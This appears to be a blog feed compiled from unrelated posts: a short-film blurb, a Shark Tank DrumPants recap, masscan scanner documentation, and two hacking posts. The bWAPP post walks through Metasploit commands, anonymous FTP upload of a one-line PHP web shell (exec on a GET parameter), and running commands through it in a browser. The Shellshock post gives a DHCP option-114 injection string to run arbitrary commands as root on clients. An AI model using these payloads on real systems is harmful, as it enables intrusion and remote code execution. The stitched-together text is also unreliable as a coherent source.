Created by Spanish director Aritz Moreno and producer Leire Apellaniz, this 60-second short is the story a man who gets up and prepares some coffee. Or maybe he never gets up. It’s like a dark, condensed version of Groundhog Day without the possibility of ever having a happy ending.
bWAPP: Abusing FTP and WebDav – Uploading Shell
The video shows how to exploit bWAPP through FTP and Webdav using metasploit framework. Here are the steps:
- First run nmap and closely verify all the services
- Run Metasploit Framework and exploit webdav and enable it
- Run FTP and login and upload your backdoor
- Access your backdoor through web browser and get reverse shell
# msfconsole msf > search ftp_login msf > auxiliary/scanner/ftp/ftp_login msf auxiliary(ftp_login) > show options msf auxiliary(ftp_login) > set USERNAME anonymous msf auxiliary(ftp_login) > show options msf auxiliary(ftp_login) > set RHOSTS 192.168.25.139 msf auxiliary(ftp_login) > exploit msf auxiliary(ftp_login) > search webdav_scanner msf auxiliary(ftp_login) > use auxiliary/scanner/http/webdav_scanner msf auxiliary(webdav_scanner) > show options msf auxiliary(webdav_scanner) > set RHOSTS 192.168.25.139 msf auxiliary(webdav_scanner) > set PATH /webdav/ msf auxiliary(webdav_scanner) > exploit # ftp ftp> o (to) 192.168.25.139 Name (192.168.25.139:root): anonymous Password: ftp> ls ftp> put backdoor.php
backdoor.php code:
<?php print_r(($_GET['x'])?exec($_GET['x']):''); >?
Address Bar:
192.168.25.139/webdav/backdoor.php?x=ls
192.168.25.139/webdav/backdoor.php?x=pwd
Shellshock DHCP RCE Proof of Concept
DHCP bash shellshock POC:
1) Just about any DHCP string value should work for the exploit.
Value 114 is URL, which is a string and should be reliable for use
2) start a DHCP server on the network and set the string value for 114 to:
() { ignored;}; echo ‘foo’
Replace the portion of the string “echo ‘foo’” with whatever command you want the client to execute. Keep in mind most clients will run dhcp hook scripts as root, but may not have a full environment defined in terms of PATH variables etc.
3) Test on client by trigging a DHCP address renew, this would normally happen to victims when the interface comes up.
SOURCE: https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
Shark Tank S06E03 – DrumPants Segment
But that's part of the problem, right? Sometimes the perfect is the enemy of the good. Right? Paralysis via analysis...Mark Cuban
Two “Shark Tank” entrepreneurs show that if you’re indecisive in a negotiation with an investor, you risk appearing amateur, arrogant, and untrustworthy.
In the latest sixth-season episode of ABC’s hit pitch show, San Francisco-based entrepreneurs Lei Yu and Tyler Freeman present their company DrumPants, which sells wearable technology that uses your smartphone’s Bluetooth capabilities to turn your body into a full band. Its secondary features, which Yu and Freeman say they plan to expand on, can be used to do things like control presentations with a small pat on your pocket.
Robert Herjavec took a long view and was interested in the next step for the company. He offered $150,000 for a 20% stake. Investor Daymond John asks the entrepreneurs if they’re interested in licensing the product, to which Freeman says, “Definitely,” as Yu nods in agreement. He offers $250,000 for a 20% stake, saying he would help secure a company to add DrumPants to its catalogue to get upfront cash and guaranteed annual minimums.
Yu and Freeman ask if they can step into the hallway to discuss.
“You know what happens in ‘Shark Tank’ when you leave the tank? Nasty, nasty things,” Kevin O’Leary warns. “What is wrong? You’ve got two offers. You’ve got to make a decision.”
The product has potential, Cuban says, but needs a definitive push in a specific direction, and Yu and Freeman proved they wouldn’t be willing partners in a growth plan. “This is an incredible example of two entrepreneurs who are incapable of making a decision,” O’Leary says.
Yu and Freeman should of gone into the Shark Tank with full bladders, allowing for wiser decision making.
masscan – The Fastest TCP Port Scanner
masscan is the fastest TCP port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second.
It produces results similar to nmap, the most famous port scanner. Internally, it operates more like scanrand, unicornscan, and ZMap, using asynchronous transmission. The major difference is that it’s faster than these other scanners. In addition, it’s more flexible, allowing arbitrary address ranges and port ranges.
NOTE: masscan uses a custom TCP/IP stack. Anything other than simple port scans will cause conflict with the local TCP/IP stack. This means you need to either use the -S option to use a separate IP address, or configure your operating system to firewall the ports that masscan uses.
PF_RING – Beyond 2 million packets/second
To get beyond 2 million packets/second, you need an Intel 10-gbps Ethernet adapter and a special driver known as “PF_RING DNA” from http://www.ntop.org/products/pf_ring/. Masscan doesn’t need to be rebuilt in order to use PF_RING. To use PF_RING, you need to build the following components:
libpfring.so (installed in /usr/lib/libpfring.so)
pf_ring.ko (their kernel driver)
ixgbe.ko (their version of the Intel 10-gbps Ethernet driver)
You don’t need to build their version of libpcap.so.
When masscan detects that an adapter is named something like dna0 instead of something like eth0, it’ll automatically switch to PF_RING mode.
Usage
Usage is similar to nmap. To scan a network segment for some ports:
masscan -p80,8000-8100 10.0.0.0/8
This will:
- scan the 10.x.x.x subnet, all 16 million addresses
- scans port 80 and the range 8000 to 8100, or 102 addresses total
- print output to that can be redirected to a file
To see the complete list of options, use the –echo feature. This dumps the current configuration and exits. This output can be used as input back into the program:
masscan -p80,8000-8100 10.0.0.0/8 --echo > xxx.conf masscan -c xxx.conf --rate 1000
Banner checking
Masscan can do more than just detect whether ports are open. It can also complete the TCP connection and interaction with the application at that port in order to grab simple “banner” information.
The problem with this is that masscan contains its own TCP/IP stack separate from the system you run it on. When the local system receives a SYN-ACK from the probed target, it responds with a RST packet that kills the connection before masscan can grab the banner.
The easiest way to prevent this is to assign masscan a separate IP address. This would look like the following:
masscan 10.0.0.0/8 -p80 --banners --source-ip 192.168.1.200
The address you choose has to be on the local subnet and not otherwise be used by another system.
In some cases, such as WiFi, this isn’t possible. In those cases, you can firewall the port that masscan uses. This prevents the local TCP/IP stack from seeing the packet, but masscan still sees it since it bypasses the local stack. For Linux, this would look like:
iptables -A INPUT -p tcp --dport 60000 -j DROP masscan 10.0.0.0/8 -p80 --banners --source-port 60000
On Mac OS X and BSD, it might look like this:
sudo ipfw add 1 deny tcp from any to any 60000 in masscan 10.0.0.0/8 -p80 --banners --source-port 60000
Windows doesn’t respond with RST packets, so neither of these techniques are necessary. However, masscan is still desigend to work best using its own IP address, so you should run that way when possible, even when its not strictly necessary.
The same thing is needed for other checks, such as the –heartbleed check, which is just a form of banner checking.
You can download masscan here: https://github.com/robertdavidgraham/masscan